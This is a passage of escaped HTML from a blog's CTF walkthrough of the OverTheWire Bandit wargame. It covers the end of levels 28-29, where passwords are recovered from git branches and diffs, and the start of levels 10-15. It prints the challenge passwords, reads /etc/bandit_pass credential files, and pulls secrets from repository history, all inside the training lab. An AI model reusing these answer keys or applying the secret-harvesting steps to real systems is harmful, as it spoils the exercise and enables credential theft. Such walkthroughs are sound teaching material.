&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then if we &lt;code&gt;cat&lt;/code&gt; the &lt;code&gt;README.md&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit28@bandit:/tmp/mine28/repo$ cat README.md
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Bandit Notes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Some notes &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; level29 of bandit.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## credentials&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- username: bandit29
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- password: bbc96594b4e001778eee9975372716b2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-29"&gt;
Level 29
&lt;a href="#level-29" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-9"&gt;
Level Goal
&lt;a href="#level-goal-9" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a git repository at &lt;code&gt;ssh://bandit29-git@localhost/home/bandit29-git/repo&lt;/code&gt;. The password for the user &lt;code&gt;bandit29-git&lt;/code&gt; is the same as for the user &lt;code&gt;bandit29&lt;/code&gt;.
Clone the repository and find the password for the next level.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-9"&gt;
Solution
&lt;a href="#solution-9" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit29&lt;/code&gt;, using the password found from Level 28:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit29@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We first create a directory to work on, in &lt;code&gt;/tmp&lt;/code&gt;, in order to work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir /tmp/mine29
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /tmp/mine29
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We then clone the git repository:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The password is the same as the current&amp;rsquo;s level.&lt;/p&gt;
&lt;p&gt;There is only one &lt;code&gt;README&lt;/code&gt; file in the repo and we can &lt;code&gt;cat&lt;/code&gt; it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit29@bandit:/tmp/mine29$ cd repo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit29@bandit:/tmp/mine29/repo$ cat README.md
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Bandit Notes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Some notes &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; bandit30 of bandit.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## credentials&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- username: bandit30
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- password: &amp;lt;no passwords in production!&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we try all the other commits we will show that no password is shown.
But, if we list all branches (and remotes), we will see:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit29@bandit:/tmp/mine29/repo$ git branch -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* master
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; remotes/origin/HEAD -&amp;gt; origin/master
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; remotes/origin/dev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; remotes/origin/master
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; remotes/origin/sploits-dev
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So we can try to see the contents of &lt;code&gt;README.md&lt;/code&gt; from the other branches, and we can do that without &lt;code&gt;checkout&lt;/code&gt;, but by simply using &lt;code&gt;dif&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-diff" data-lang="diff"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit29@bandit:/tmp/mine29/repo$ git diff remotes/origin/dev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;diff --git a/README.md b/README.md
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;index 39b87a8..1af21d3 100644
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;--- a/README.md
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;+++ b/README.md
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;@@ -4,5 +4,5 @@ Some notes for bandit30 of bandit.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ## credentials
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - username: bandit30
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-- password: 5b90576bedb2cc04c86a9e924ce42faf
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;+- password: &amp;lt;no passwords in production!&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>OverTheWire - Bandit Walkthrough - Levels 10-19</title><link>https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-10-19/</link><pubDate>Thu, 20 May 2021 22:10:25 +0300</pubDate><guid>https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-10-19/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/overthewire.jpg"/&gt;
&lt;p&gt;&lt;a href="https://overthewire.org/wargames/"&gt;OverTheWire&amp;rsquo;s&lt;/a&gt; wargames are offered to help learn and practice security concepts in the form of fun-filled games.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://overthewire.org/wargames/bandit/"&gt;Bandit&lt;/a&gt; wargame is aimed at absolute beginners and will teach them the basics needed to be able to play other wargames. All the challenges are focused on the Linux systems and their commands. It aims to get the player familiar with the Linux terminal and introduce some basic security concepts.&lt;/p&gt;
&lt;p&gt;It consists of a total of 33 Levels. At each level, you have to find the password for the next level to continue playing. Each Level is a user that you connect as, using SSH in the &lt;code&gt;bandit.labs.overthewire.org&lt;/code&gt; server.&lt;/p&gt;
&lt;p&gt;In this post, we will present the solutions for &lt;strong&gt;Levels 10-19&lt;/strong&gt; of the Bandit wargame.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;See the solutions for the previous &lt;a href="https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-0-9/"&gt;&lt;strong&gt;Levels 0-9&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;See the solutions for the next &lt;a href="https://thanoskoutr.com/posts/ctfs/overthewire/bandit/levels-20-29/"&gt;&lt;strong&gt;Levels 20-29&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; &lt;em&gt;These walkthroughs are written and published to help other members of the community that are stuck at some Level. &lt;strong&gt;It is strongly advised&lt;/strong&gt; to first try the challenges yourself until you can progress no more, and only then come back here to see the solution.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="level-10"&gt;
Level 10
&lt;a href="#level-10" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal"&gt;
Level Goal
&lt;a href="#level-goal" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;/code&gt;, which contains base64 encoded data&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution"&gt;
Solution
&lt;a href="#solution" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit10&lt;/code&gt;, using the password found from Level 9:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit10@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will use &lt;code&gt;base64&lt;/code&gt; in order to decode the file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit10@bandit:~$ base64 -d data.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-11"&gt;
Level 11
&lt;a href="#level-11" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-1"&gt;
Level Goal
&lt;a href="#level-goal-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;/code&gt;, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-1"&gt;
Solution
&lt;a href="#solution-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit11&lt;/code&gt;, using the password found from Level 10:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit11@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will use the &lt;code&gt;tr&lt;/code&gt; utility to map upper case &lt;code&gt;A-Z&lt;/code&gt; to &lt;code&gt;N-ZA-M&lt;/code&gt; and lower case &lt;code&gt;a-z&lt;/code&gt; to &lt;code&gt;n-za-m&lt;/code&gt;, in order to have them rotated by 13 positions and we will feed the file as &lt;code&gt;stdin&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit11@bandit:~$ tr &lt;span style="color:#e6db74"&gt;&amp;#39;A-Za-z&amp;#39;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;N-ZA-Mn-za-m&amp;#39;&lt;/span&gt; &amp;lt; data.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-12"&gt;
Level 12
&lt;a href="#level-12" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-2"&gt;
Level Goal
&lt;a href="#level-goal-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in the file &lt;code&gt;data.txt&lt;/code&gt;, which is a hexdump of a file that has been repeatedly compressed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-2"&gt;
Solution
&lt;a href="#solution-2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit12&lt;/code&gt;, using the password found from Level 11:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit12@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="working-directory"&gt;
Working Directory
&lt;a href="#working-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We first create a directory to work on, in &lt;code&gt;/tmp&lt;/code&gt;, copy &lt;code&gt;data.txt&lt;/code&gt; and change directory there:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir /tmp/mine12
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp data.txt /tmp/mine12/data.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /tmp/mine12
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="convert-hexdump-back-to-binary"&gt;
Convert Hexdump back to Binary
&lt;a href="#convert-hexdump-back-to-binary" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Because the file is a hexdump we convert it back to the original binary with &lt;code&gt;xxd&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;xxd -r data.txt &amp;gt; /tmp/mine12/data_rev.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="check-file-tpe"&gt;
Check file tpe
&lt;a href="#check-file-tpe" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We check each time what type of file it is.&lt;/p&gt;
&lt;h4 id="gzip"&gt;
gzip
&lt;a href="#gzip" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit12@bandit:/tmp/mine12$ file data_rev.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;data_rev.txt: gzip compressed data, was &lt;span style="color:#e6db74"&gt;&amp;#34;data2.bin&amp;#34;&lt;/span&gt;, last modified: Thu May &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; 18:14:30 2020, max compression, from Unix
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If is a &lt;code&gt;gzip&lt;/code&gt; compressed file, we decompress it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gzip -S .txt -d data_rev.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="bz2"&gt;
bz2
&lt;a href="#bz2" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit12@bandit:/tmp/mine12$ file data_rev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;data_rev: bzip2 compressed data, block size &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 900k
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If it is a &lt;code&gt;bzip2&lt;/code&gt; compressed file, we decompress it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bzip2 -d data_rev.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="tar"&gt;
tar
&lt;a href="#tar" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit12@bandit:/tmp/mine12$ file data_rev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;data_rev: POSIX tar archive &lt;span style="color:#f92672"&gt;(&lt;/span&gt;GNU&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If it is a &lt;code&gt;tar&lt;/code&gt; archive, we untar it with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar -xvf data_rev.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="final-ascii-file"&gt;
Final ASCII File
&lt;a href="#final-ascii-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;After all decompressions &lt;code&gt;cat&lt;/code&gt; the ascii file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit12@bandit:/tmp/mine12$ cat data8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-13"&gt;
Level 13
&lt;a href="#level-13" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-3"&gt;
Level Goal
&lt;a href="#level-goal-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in &lt;code&gt;/etc/bandit_pass/bandit14&lt;/code&gt; and can only be read by user &lt;code&gt;bandit14&lt;/code&gt;. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-3"&gt;
Solution
&lt;a href="#solution-3" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit13&lt;/code&gt;, using the password found from Level 12:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit13@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We login to the current server as &lt;code&gt;bandit14&lt;/code&gt; using the SSH key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i sshkey.private bandit14@localhost
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can view the password with &lt;code&gt;cat&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit14@bandit:~$ cat /etc/bandit_pass/bandit14
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-14"&gt;
Level 14
&lt;a href="#level-14" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-4"&gt;
Level Goal
&lt;a href="#level-goal-4" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level can be retrieved by submitting the password of the current level to port &lt;code&gt;30000&lt;/code&gt; on localhost.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-4"&gt;
Solution
&lt;a href="#solution-4" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit14&lt;/code&gt;, using the password found from Level 13:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit14@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We connect to port &lt;code&gt;30000&lt;/code&gt; on localhost using &lt;code&gt;nc&lt;/code&gt; and paste the password from the current level:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit14@bandit:~$ nc localhost &lt;span style="color:#ae81ff"&gt;30000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Correct!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BfMYroe26WYalil77FoDi9qh59eK5xNr
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-15"&gt;
Level 15
&lt;a href="#level-15" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-5"&gt;
Level Goal
&lt;a href="#level-goal-5" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
